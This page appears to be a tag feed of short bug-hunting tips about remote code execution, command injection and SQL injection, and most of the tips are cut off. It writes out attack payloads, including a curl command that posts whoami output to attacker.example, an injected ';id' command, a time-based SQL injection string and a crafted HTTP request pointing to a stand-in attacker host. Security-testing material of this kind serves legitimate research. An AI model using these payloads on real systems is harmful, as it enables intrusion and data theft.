Tag

Tips tagged #rce

Published tips with this tag, newest first. Payloads and commands are shown as plain text.

Remote code execution (RCE) tips, and how to hunt it

Feed of #rce

Tag #rceRemove tag filter

  • Test WP Rocket for RCE

    GET /wp-admin/admin-ajax.php HTTP/1.1Host: target.comLocation: http://attacker.example/payload.php

    Remote code execution (RCE)Exploitation

  • Test log files for command injection

    To test for command injection in log files, try injecting a semicolon followed by a command, such as ;id>/tmp/attacker, into a log record. If the log file is not properly sanitized, the command may be executed by the system. Look for any indication that the command was executed,…

    Command injectionDiscovery

  • Test SAML SignedInfo for buffer overflow

    <ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"><ec:InclusiveNamespaces xmlns:ec="http://www.w3.org/2001/10/xml-exc-c14n#" PrefixList="N0 N1 N2 ... N1999"/>

    Remote code execution (RCE)Discovery

  • Test nginx rewrites for heap overflows

    Look for rewrite directives in nginx configurations that contain a ? and no flag (like last, break, redirect, or permanent). If the rewrite is followed by a set or if directive that references a capture group (like $1), the configuration may be vulnerable to a heap overflow. The…

    Remote code execution (RCE)Discovery

  • Test WordPress REST batch endpoint for RCE

    To test for the WordPress core pre-authentication remote code execution vulnerability, send a POST request to the /wp-json/batch/v1 endpoint or use the query-string router with ?rest_route=/batch/v1. Look for a response that indicates the request was processed, such as a 200 OK…

    Remote code execution (RCE)Discovery

  • Test Jolokia API for RCE

    Try invoking a management operation through the Jolokia API to fetch a remote configuration file from attacker.example. If the target runs arbitrary OS commands, it may be vulnerable to remote code execution. Look for signs of command execution, such as a callback to http://atta…

    Remote code execution (RCE)Exploitation

  • Test for SQL injection in GET requests

    Try sending a GET request with a modified filters parameter, such as filters={"groupOp":" OR IF(1=(SELECT user_id FROM user WHERE username='admin'),SLEEP(5),0) OR "} to see if the application is vulnerable to SQL injection. If the response takes longer than expected, it may indi…

    SQL injectionDiscovery

  • Test exec calls for command injection

    Look for exec calls in the target's code that pass user input directly into the executed command without sanitisation. Test these calls by injecting a command, such as ; curl -X POST -d "$(whoami)" https://attacker.example/webhook;, into affected fields. Confirm the vulnerability

    Command injectionExploitation

  • Test SQL Injection In POST Parameters

    When testing a target, try sending a POST request with a modified parameter, such as gibbonDepartmentIDs, to see if it is vulnerable to SQL injection. Look for any error messages or unusual responses that may indicate a successful injection. You can use a payload like gibbonDepa…

    SQL injectionDiscovery

  • Test gRPC services for unauthenticated access

    Look for gRPC services running on a target, such as on target.com:9095. Try to call methods without authentication to see if they are accepted. If the service listens on all interfaces, test it from another host, such as attacker.example, to see if authentication is required. Use

    AuthenticationDiscovery

  • Test default features for pre-auth input parsing

    Look for default-on features that parse attacker-supplied input before authentication, such as compression and decoders on the network path, or web servers and reverse proxies that parse attacker HTTP. Test these features by sending crafted input, such as zlib-compressed wire-pr…

    Remote code execution (RCE)Discovery

  • Test cron job access control

    Try to create a cron job as a low-privileged user that executes a command as a more privileged user, such as sudo /usr/local/hestia/bin/v-change-user-password admin toor. If the cron job is created successfully, it may be possible to exploit a broken authorization check, such as…

    AuthorizationExploitation

  • Audit extensions for code execution

    Check extensions for vulnerabilities that allow code execution, such as rendering bugs that can turn a file into executable code. This can be done by auditing the extension's code and testing its rendering functionality with specially crafted files. For example, test a Markdown…

    Remote code execution (RCE)Discovery

  • Verify vulnerable components

    When reviewing a target's application, look for version metadata that can be compared with public advisories. Check if the deployed version falls within the affected range and verify the impact by checking the feature as it would be used normally. Then, review the source code to…

    Insecure deserializationDiscovery

  • Test exposed services for vulnerabilities

    When testing a target, look for exposed network ports and services. Use tools like nmap to scan for open ports and identify the services running on them. In this case, the target exposed port 2086, which was meant for inter-process communication on localhost but was instead list…

    Remote code execution (RCE)Discovery

  • Test for unauthenticated RCE in Java servlets

    When investigating a target, look for Java servlets that are exposed to the Internet without authentication. Test if these servlets pass user-controlled input to Runtime.exec(String[]), which can lead to remote code execution (RCE). Use an inert probe, such as a sleep command, to

    Remote code execution (RCE)Discovery